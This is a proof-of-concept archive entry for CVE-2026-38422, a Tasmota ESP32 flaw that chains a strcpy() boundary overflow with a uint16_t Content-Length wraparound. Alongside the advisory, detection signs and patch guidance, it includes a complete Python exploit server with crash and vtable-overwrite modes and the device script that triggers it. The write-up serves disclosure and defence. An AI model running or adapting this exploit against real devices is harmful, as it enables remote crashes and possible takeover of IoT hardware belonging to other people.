PoC Archive PoC Archive
Critical CVE-2026-38422 patched

Tasmota fetch_jpg() Combined Buffer Overflow RCE Chain (CVE-2026-38422)

by Saidakbarxon Maxsudxonov (sermikr0) · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-38422
Category
network
Affected product
Arendst Tasmota (ESP32 firmware)
Affected versions
<= 15.3.0.3
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherSaidakbarxon Maxsudxonov (sermikr0)
CVE / AdvisoryCVE-2026-38422
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusPoC
Tagstasmota, esp32, iot, buffer-overflow, integer-overflow, rce, mjpeg, scripter
RelatedCVE-2026-38426, CVE-2026-38427

Affected Target

FieldValue
Software / SystemArendst Tasmota (ESP32 firmware)
Versions Affected<= 15.3.0.3
Language / PlatformPython (PoC server) targeting C++/Arduino ESP32 firmware
Authentication RequiredNo (device must be scripted to connect to attacker’s MJPEG server)
Network Access RequiredYes

Summary

Tasmota’s scripter driver (xdrv_10_scripter.ino) implements an MJPEG client via fetch_jpg() that contains two compounding memory-corruption bugs: a strcpy() overflow of a fixed 40-byte boundary[] buffer when parsing the Content-Type boundary string (CVE-2026-38426), and a uint16_t integer wraparound when parsing Content-Length for subsequent MJPEG frames that causes an undersized buffer allocation and stream desynchronization (CVE-2026-38427). Chained together in one attack session against a Tasmota device that connects to an attacker-controlled MJPEG server, the two primitives maximize heap corruption around adjacent WiFiClient/HTTPClient vtable pointers, significantly increasing the likelihood of remote code execution on the ESP32.


Vulnerability Details

Root Cause

fetch_jpg() copies an HTTP Content-Type boundary string into a fixed 40-byte stack/struct buffer with strcpy() (no bounds check), and separately parses Content-Length into a uint16_t via atoi(), silently truncating values above 65535 before allocating the receive buffer.

Attack Vector

  1. Stand up a malicious MJPEG HTTP server on an address the Tasmota device will be instructed to connect to (via a script using fetchjp(), or MITM of an existing connection).
  2. Phase 1: respond to the initial connection with an HTTP 200 whose Content-Type header contains a boundary string longer than 39 characters, overflowing boundary[40] and corrupting adjacent struct fields including WiFiClient/HTTPClient vtable pointers.
  3. Phase 2: send subsequent MJPEG frame headers with Content-Length values above 65535 (e.g. 65537), causing uint16_t wraparound, an undersized malloc(), and stream/heap state corruption.
  4. The combined corruption crashes the device deterministically and, depending on heap layout, can redirect execution via the corrupted vtable pointers.

Impact

Remote code execution or guaranteed crash/reboot loop on ESP32-based Tasmota devices with scripter support enabled.


Environment / Lab Setup

Target:   ESP32 device running Tasmota <= 15.3.0.3 with a script using fetchjp()
Attacker: python3

Proof of Concept

PoC Script

See CVE-2026-38422_poc.py in this folder.

1
python3 CVE-2026-38422_poc.py --port 8887 --mode dos

The script runs a fake MJPEG HTTP server that first sends an oversized boundary string (phase 1 overflow) and then sends MJPEG frames with a Content-Length above 65535 (phase 2 wraparound), triggering combined heap corruption on a connecting Tasmota device.


Detection & Indicators of Compromise

Exception (28): epc1=... ... 
Fatal exception ... rebooting

Signs of compromise:

  • Unexpected reboots/crash loops on devices running scripts that call fetchjp()
  • Outbound MJPEG connections to unrecognized or newly added external hosts

Remediation

ActionDetail
Primary fixUpdate to Tasmota v15.3.0.4 or later, which validates boundary length and Content-Length parsing in fetch_jpg()
Interim mitigationRestrict fetchjp() scripts to trusted MJPEG servers only; disable scripter support if unused

References


Notes

Mirrored from https://github.com/sermikr0/CVE-2026-38422 on 2026-07-05.

CVE-2026-38422_poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
#!/usr/bin/env python3
"""
PoC: CVE-2026-38422
Target: Tasmota <= 15.3.0.3
File: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Function: fetch_jpg()

Vulnerability:
  Combined attack vector using both overflow conditions in fetch_jpg():
  
  1. Initial connection (case 0) — boundary overflow via strcpy()
  2. Frame fetch (case 2)        — uint16_t wraparound via Content-Length

  The combination of both in a single attack session maximizes
  heap corruption and increases RCE probability on ESP32.

  Buffer layout on ESP32 heap (typical):
  
  struct JPG_TASK {              Offset  Size
    char boundary[40];           +0x00   40
    bool draw;                   +0x28    1
    uint8_t scale;               +0x29    1
    uint16_t xp;                 +0x2A    2
    uint16_t yp;                 +0x2C    2
    WiFiClient stream;           +0x2E   ~80   ← vtable ptr at +0x2E
    HTTPClient http;             +0x7E   ~200  ← vtable ptr at +0x7E
  } jpg_task;

  Overwriting WiFiClient vtable ptr with controlled value → RCE
  when any virtual method (read, write, connect) is called.

Attack Flow:
  Phase 1: Send initial response with long boundary (overflow boundary[40])
  Phase 2: Send MJPEG frame with Content-Length > 65535 (uint16_t wrap)
  Result:  Heap corruption → potential RCE / guaranteed DoS

Author: Saidakbarxon Maxsudxonov
CVE: CVE-2026-38422
"""

import socket
import argparse
import struct
import time
from datetime import datetime

BANNER = """
╔══════════════════════════════════════════════════════╗
║       CVE-2026-38422 PoC — Tasmota fetch_jpg()      ║
║       Combined Buffer Overflow → RCE / DoS           ║
║       Affected: Tasmota <= 15.3.0.3 (ESP32)         ║
╚══════════════════════════════════════════════════════╝
"""

def log(msg, level="*"):
    ts = datetime.now().strftime("%H:%M:%S")
    print(f"[{ts}] [{level}] {msg}")

# ESP32 Xtensa architecture constants
ESP32_HEAP_BASE     = 0x3FFB0000  # Typical DRAM heap start
WIFI_CLIENT_VTABLE  = 0x400D1234  # Placeholder — requires firmware analysis

def build_phase1_boundary(fake_vtable=None):
    """
    Phase 1: Overflow boundary[40] via strcpy()
    Layout: [boundary 40B][draw 1B][scale 1B][xp 2B][yp 2B][WiFiClient vtable 4B]
    Total to reach vtable: 40 + 1 + 1 + 2 + 2 = 46 bytes
    """
    if fake_vtable is None:
        # Crash mode: fill with 0x41 to confirm overflow
        payload = b"A" * 39 + b"\x00"  # null-terminate at 40
        payload += b"B" * 6             # overwrite draw/scale/xp/yp
        payload += b"C" * 4             # corrupt WiFiClient vtable
    else:
        # RCE mode: overwrite vtable with controlled address
        payload = b"A" * 39 + b"\x00"
        payload += b"\x01"              # draw = true
        payload += b"\x01"              # scale = 1
        payload += struct.pack("<H", 0) # xp = 0
        payload += struct.pack("<H", 0) # yp = 0
        payload += struct.pack("<I", fake_vtable)  # WiFiClient vtable
    
    return payload

def make_initial_response(boundary_payload):
    """HTTP response for fetch_jpg case 0"""
    boundary_str = boundary_payload.decode('latin-1', errors='replace')
    return (
        f"HTTP/1.1 200 OK\r\n"
        f"Content-Type: multipart/x-mixed-replace; boundary={boundary_str}\r\n"
        f"Connection: keep-alive\r\n"
        f"\r\n"
    ).encode('latin-1', errors='replace')

def make_overflow_frame(content_length=70000):
    """
    MJPEG frame with Content-Length > 65535 for uint16_t wraparound.
    content_length=70000 → uint16_t = 4464 → malloc(4464)
    But stream has 70000 bytes → 65536 bytes remain unread
    """
    wrapped = content_length & 0xFFFF
    # Send actual content_length bytes of data
    jpeg_payload = (b'\xff\xd8' +           # JPEG SOI
                    b'\xff\xe0\x00\x10' +    # APP0
                    b'JFIF\x00\x01\x01\x00' +
                    b'\x00\x01\x00\x01\x00\x00' +
                    b'\x41' * (content_length - 20) +  # padding
                    b'\xff\xd9')             # JPEG EOI
    jpeg_payload = jpeg_payload[:content_length]
    
    frame = (
        f"--BOUNDARY_OVERFLOW_PAYLOAD\r\n"
        f"Content-Type: image/jpeg\r\n"
        f"Content-Length: {content_length}\r\n"
        f"\r\n"
    ).encode() + jpeg_payload
    
    return frame, wrapped

def handle_client(conn, addr, mode, vtable):
    log(f"Tasmota connected from {addr[0]}:{addr[1]}", "+")
    
    try:
        # Receive HTTP request
        req = conn.recv(2048).decode('utf-8', errors='ignore')
        if req:
            log(f"HTTP request: {req.splitlines()[0]}")
        
        log("=" * 52)
        log("PHASE 1: Boundary strcpy() overflow (CVE-2026-38426)")
        log("=" * 52)
        
        # Build overflow payload
        if mode == "rce" and vtable:
            vtable_addr = int(vtable, 16)
            boundary_payload = build_phase1_boundary(fake_vtable=vtable_addr)
            log(f"Fake vtable address: 0x{vtable_addr:08X}", "!")
        else:
            boundary_payload = build_phase1_boundary()
        
        log(f"Boundary payload: {len(boundary_payload)} bytes", "!")
        log(f"Overflow: {max(0, len(boundary_payload)-39)} bytes beyond boundary[40]", "!")
        
        # Send Phase 1
        response = make_initial_response(boundary_payload)
        conn.send(response)
        log("Phase 1 sent — boundary[40] overflowed via strcpy()", "!")
        
        time.sleep(1)
        
        log("=" * 52)
        log("PHASE 2: uint16_t wraparound (CVE-2026-38427)")
        log("=" * 52)
        
        content_length = 70000
        frame, wrapped = make_overflow_frame(content_length)
        
        log(f"Content-Length header: {content_length}", "!")
        log(f"uint16_t(70000) = {wrapped} bytes allocated", "!")
        log(f"Unread stream bytes: {content_length - wrapped}", "!")
        
        conn.send(frame)
        log("Phase 2 sent — heap/stream corruption triggered", "!")
        log("Expected result: Guru Meditation Error / device reboot", "!")
        
        time.sleep(3)
        
    except BrokenPipeError:
        log("Device disconnected — likely crashed! ✓", "+")
    except Exception as e:
        log(f"Error: {e}", "-")
    finally:
        conn.close()
        log("Session complete")

def main():
    print(BANNER)
    
    parser = argparse.ArgumentParser(description="CVE-2026-38422 Combined PoC")
    parser.add_argument("--ip", default="0.0.0.0")
    parser.add_argument("--port", type=int, default=8887)
    parser.add_argument("--mode", choices=["dos", "rce"], default="dos",
                        help="dos=crash only, rce=attempt vtable overwrite")
    parser.add_argument("--vtable", type=str, default=None,
                        help="Fake vtable address for RCE (e.g. 0x3FFB1000)")
    args = parser.parse_args()
    
    log("CVE-2026-38422 — Combined Attack PoC", "+")
    log(f"Mode: {args.mode.upper()}")
    log(f"Listening: {args.ip}:{args.port}")
    log("─" * 54)
    log("Attack phases:")
    log("  Phase 1: strcpy(boundary[40]) → overflow (CVE-2026-38426)")
    log("  Phase 2: uint16_t Content-Length → wraparound (CVE-2026-38427)")
    log("─" * 54)
    log("Tasmota script to trigger:")
    log("  >D")
    log("  >B")
    log(f"  fetchjp(YOUR_IP:{args.port}/stream,0,0,1)")
    log("  >1")
    log("  =fetchjp(2,0,0,1)")
    log("─" * 54)
    
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind((args.ip, args.port))
    server.listen(5)
    log("Waiting for Tasmota device...", "*")
    
    try:
        while True:
            conn, addr = server.accept()
            handle_client(conn, addr, args.mode, args.vtable)
    except KeyboardInterrupt:
        log("Stopped")
    finally:
        server.close()

if __name__ == "__main__":
    main()